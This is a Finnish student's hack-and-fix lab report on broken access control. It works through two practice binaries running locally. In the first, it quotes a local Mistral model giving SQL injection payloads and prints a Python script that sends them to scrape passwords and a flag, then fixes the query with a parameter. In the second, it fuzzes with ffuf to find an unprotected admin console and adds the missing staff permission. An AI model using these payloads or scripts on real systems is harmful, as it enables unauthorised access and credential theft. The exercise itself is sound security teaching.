Rikotaan ja korjataan.
Tässä raportissa tutustumme OWASP/Portswigger broken access control haavoituksiin, fussaukseen (jälleen). Sekä rikkinäiseen koodiin ja tämän korjaamiseen.
Fussauksen tehtävän olen jo aikaisemmalla kurssilla tehnyt. Eli sitä ei tässä raportissa löydy.
Lyhyesti
Owasp - Broken access control ja PortSwigger - Access control vulnerability
-
Access control yleisesti määrittää kenellä on oikeudet järjestelmiin. Tämä on yleisesti monimutkainen kokonaisuus, joten todella altis virheille. Haavoittuvuudet ovat yleisiä.
-
Vuoden 2021 yleisin haavoittuvuus.
Kertaus fussauksesta. Etsitään sanalistalla sivuston hierarkiaa.
Karvinen 2006 - Raportin kirjoittaminen
Tiivis, hyvälukuinen raportti on kiva!
Binäärit
Teron sivuilta saamme testi-binäärit. Kertauksena lataus kansioon wget komennolla ja unzip komennolla auki.
010 staff only
Tämän jälkeen pyöräytetään käyntiin python3:ssa ensimmäinen daemoni.


Olen tässä viime aikoina tehnyt paljon hakkerointitehtäviä ja heti tulee hyvä mieli kun näkee liputus-flägin etsinnän. Eli binääri avautui lokaaliin porttiin 5000.
Kokeilen alkuun pin-koodin 123 ja saan tietoon oman salasanani ”Somedude”. Näen myös, että input-tyyppinä on numero - eli varmaan ensimmäinen kokeilu voisi olla, että tämän jättää tyhjäksi tai lähdetään muuttamaan tekstiksi. Teoretisoin, että input =”” tai ”text” voisi tuoda jotain. Tai.

Tässä kohtaa on myös hyvä huomauttaa, että SQL kielenä on minulle vielä aika vieras. Olen tällä viikolla ottanut vasta ensimmäiset upotukset aiheeseen.
Mutta tämä ei todellakaan haittaa. Voidaan pyöräyttää pieni python-scripti raapimaan palvelimelta vastauksia. Nyt kyseessä oma laatikko niin, tämä suht helppoa jos ymmärtää pythonia. Käytän avuksi python kirjastoa beutifulsoup4 parsimaan datan luettavaan muotoon. Tästä kohta lisää.
Koska olen kuitenkin aika pihalla SQLsta, niin käytän tähän hyödyksi lokaalia tekoälyäni. Nyt olen viime aikoina huomannut Mistrall tekoälyn vahvuuden minun omassa promptaustyylissä ja koodauksessa niin käytetään sitä. Eli kyseessä mistrall small 3.2:24b. Tässä myös yritän vain alkukantaisesti saada vastaukseksi SQL listan rivejä. Keskustelussa kääntäjänä toimii LM-studio ja rautana käytän omaa macbook pro m2 max (64gb) konetta.
Seuraavassa kysymys ja vastaus-sarja:
Koulutehtävää varten yritän SQL injektion rikkomista,
Voitko antaa minulle listan SQL-injektioista, jotka hakevat tietokannasta tietyn määrän rivejä kerrallaan? Esimerkiksi, miten voin hakea ensimmäisen, toisen, kolmannen jne. rivin?
Jätä pois kaikki muu kuin vastauskoodit
Mistrall:
Tässä on SQL-injektioesimerkkejä, jotka hakevat tietokannasta tietyn määrän rivejä kerrallaan:
Ensimmäinen rivi:
' OR 1=1 LIMIT 0,1 --
Toinen rivi:
' OR 1=1 LIMIT 1,1 --
Kolmas rivi:
' OR 1=1 LIMIT 2,1 --
Neljäs rivi:
' OR 1=1 LIMIT 3,1 --
Viides rivi:
' OR 1=1 LIMIT 4,1 --
Nämä esimerkit oletetaan toimivan SQL-kyselyissä, joissa on haavoittuvuus. Muista, että SQL-injektio on laiton ja eteenkäteen sovittu vain turvallisuusarvioinnin ja koulutuksen tarkoituksiin.
Ymmärtääkseni tässä haetaan siis rivivastaavuus 1=1 ja jäsennetään vastausnumero aina pyydetyltä riviltä. Eli hyvä pohja python-skriptille. Tätä vääntelin parilla eri pohjalla ja yrityksellä. Tämä ei kuitenkaan python-kurssi joten en avaa tätä enempää. Käytin kyllä mistrallia myös tämän tekemiseen, mutta HUOM. tälläisessä kokonaisuudessa on todella harvinaista onnistua lokaalin tekoälyn avulla suoraan. On huomattavasti helpompaa antaa esim mistrallin tehdä joku pohja ja jäsentää siitä eteenpäin. Tässä täytyy ymmärtää miten POST-pyynnöt ja BeutifulSoup toimii.
Täytyy myös katsoa miten itse lähdekoodi toimii ja tehdä vastaavat pyydettävään raapaisuun.
import requests
from bs4 import BeautifulSoup
url = "http://localhost:5000/"
injections = [
"' OR 1=1 LIMIT 0,1; --", # Ensimmäinen rivi
"' OR 1=1 LIMIT 1,1; --", # Toinen rivi
"' OR 1=1 LIMIT 2,1; --", # Kolmas rivi
"' OR 1=1 LIMIT 3,1; --", # Etköhän ymmärrä
"' OR 1=1 LIMIT 4,1; --", # Mitä haetaan
]
all_passwords = []
for i, injection in enumerate(injections):
try:
# POST-pyyntö
response = requests.post(url, data={"pin": injection})
if response.status_code == 200:
# BFsoup jäsentämään
soup = BeautifulSoup(response.text, 'html.parser')
# Etsitään elementti
password_element = soup.select_one('p > b')
if password_element:
password = password_element.text
print(f"Injektio {i+1} ({injection}): {password}")
all_passwords.append(password)
else:
print(f"Injektio {i+1}: Salasanaa ei löytynyt vastauksesta")
else:
print(f"Injektio {i+1}: HTTP-virhe {response.status_code}")
except Exception as e:
print(f"Virhe injektion {i+1} kanssa: {str(e)}")
# Tulostetaan kaikki ftw!
print("\nKaikki löydetyt salasanat:")
for i, password in enumerate(all_passwords):
print(f"{i+1}. {password}")

Tässä tapauksessa kolmas vastaus listalta toi oikean vastauksen
SUPERADMIN%%rootALL-FLAG{Tero-e45f8764675e4463db969473b6d0fcdd}
Korjataan haavoittuvuus
Sammutetaan ensin pyörivä prosessi ja katsotaan nanolla staff-only.py sisältöä.

Suoraan asiaa liikaa ymmärtämättä, näen, että pin haetaan tekstinä ”+pin+”. Eli muutetaan tämä parametriksi. Tässä kohtaa törmäsin vähän seinään erinäisillä kokeiluilla. Vaikka muutan tuon paikkaparametriksi ”:pin”, tämä ei tuota tulosta. SQL on vieras, joten uskon vikani olevan parametrimerkinnässä. Stack Overflowsta muiden vastaavien parametrien etsiminen kuitenkin paljastaa yleisesti, että muutkin käyttävät tätä.
Sittenpä tajuan, että tämähän täytyy ottaa parametrinä myös mukaan hakufunktiossa. Eli lisätään {"pin": pin}) kun haetaa data funktiosta.

Nyt yritän ajaa python skriptiäni, ja VOILA! Vastauksia ei löydy!

020 your eyes only
Laitetaan tästä myös binääri pyörimään. Teron ohjeissa suositellaan käynnistämään omassa pythonin virtuaaliympäristössä. Tämä hyvä tapa jos esimerkiksi tarvitaan jostain vaadittavuudesta vain tietty versio tjms.
Itsellä venv ympäristöistä jo aika paljon kokemusta mm anaconda/comfyui järjestelmien kautta. Eli luodaan venv-ympäristö nykyiseen kansioon ja aktivoidaan tämä aktiiviseksi, niin, että nykyiset kalin paketit valmiiksi sisällä.
virtualenv venv/ -p python3 --system-site-packages
source venv/bin/activate
Binäärissä tuli myös mukana requirements .txt joka voidaan ajaa ympäristön aktivoinnin jälkeen.
pip install -r requirements.txt
Tämä hyvä tapa ajaa venvin sisälle kaikki vaadittavat kirjastot. Ilman --system-site-packages lisää venv siis ajettaisiin ilman mitään pohjapaketteja.

Ohjeissa myös pyydetään päivittämään tietokanta.
./manage.py makemigrations; ./manage.py migrate
Tämän jälkeen voin käynnistää binäärin (itse teen palvelinpohjalla, eli käytetään globaalia 0.0.0.0 - tähän HOX muista karanteenata binäärin juokseva kone).
./manage.py runserver 0.0.0.0:5000
Saan kuitenkin merkinnän, että django ei anna koneeni yhdistää verkon yli binääriin (disallowedhost). Tämä ongelma, että django-binääriin pitää laittaa allowed_hosts osioon oma dns osoitteeni (kali.koti).
Eli menen binäärin kansioon logtin ja muutan settings.py tuon. Whitelistiin oma dns-osoite kali.koti. Laitan samalla debugin pois päältä (todennäköisesti jäänyt alunperin - tai sitten osana haastetta?).

Näin pääsen omasta macbookista -> labran kalin palveluun.
Tavoitteena on päästä adminpaneeliin sivustossa ja tähän käytetään siis fuffia. Olen jo edellisessä kurssissa kirjoittanut fussauksesta ja ratkaisuut maaleja tällä. Eli tehdään niin nytkin.
TL;DR käytän macbookkini fuffia joka asennettu homebrewistä.
ffuf -w common.txt -u http://kali.koti:5000/FUZZ
Ja näin näen admin konsolin sivuston ja sillä pääsen sisään.

Korjataan tämä ongelma.
Korjaus konsolin oikeuksiin.
Koska meillä on pääsy /admin-console/ kansioon voimme grepata haun tuolla hakusanalla.
grep -rin "admin-console"

Tästä löytyy tiedostot hats ja views. Suoraan ’views.py’ tiedostossa näemme, että ongelmana on unohtuneet luvat alimmalla rivillä. Eli staff oikeudet tarvitaan myös sisäänpääsyyn.
Tämän voi korjata kumpaan tahansa tiedostoon, mutta korjaan nyt viewsiin. Lisäämällä vaatimuksen AdminShowAllViewiin. Vaihtoehtoisesti voisin korjata .hats tiedostoon dashboard ja console merkintään saman DashboardViewin oikeudet.

Ja uudelleen ajamisella globaali ohjaa aina normaaliin login-sivustoon 💪. Eli korjattu.

Kommentit ja lähteet
Access Control hommat näyttävät olevan aika yleinen ongelma.
Molemmat tehtävät olivat hauskoja ja realistisia ajatuksia miten on devaajalla unohtunut jotain tai epähuomiossa on väärin laitettu oikeuksia. Voisin äkkiseltään kuvitella, että nimenomaan tämä jälkimäinen, suhteellisen helppo, moka, voisi löytyä ihan tuotantosivuilta. Epähuomiossa ja kiireessä tulee virheitä.
Lähteet
Teron binäärit https://terokarvinen.com/hack-n-fix/
Broken Access Control linkit https://owasp.org/Top10/A01_2021-Broken_Access_Control/ https://portswigger.net/web-security/access-control
BeutifulSoup python scripting apuna https://www.crummy.com/software/BeautifulSoup/bs4/doc
Dokumentissa käytetty apuna python koodissa ja SQL apuna LLM mistra-small3.2:24b mallia. Rautana käytössä ollut Macbook pro m2 max 64gb ja kääntäjänä LM-studio https://huggingface.co/mistralai/Mistral-Small-3.2-24B-Instruct-2506 https://lmstudio.ai
Fussaustehtävä aikaisemmassa raportissani https://h.iskff.fi/tt/#h3
Mäkin paketinhallintaan https://brew.sh
Kuvat optimoitu https://optimage.app
Unraid https://unraid.net
Käytetty aika 4h 20min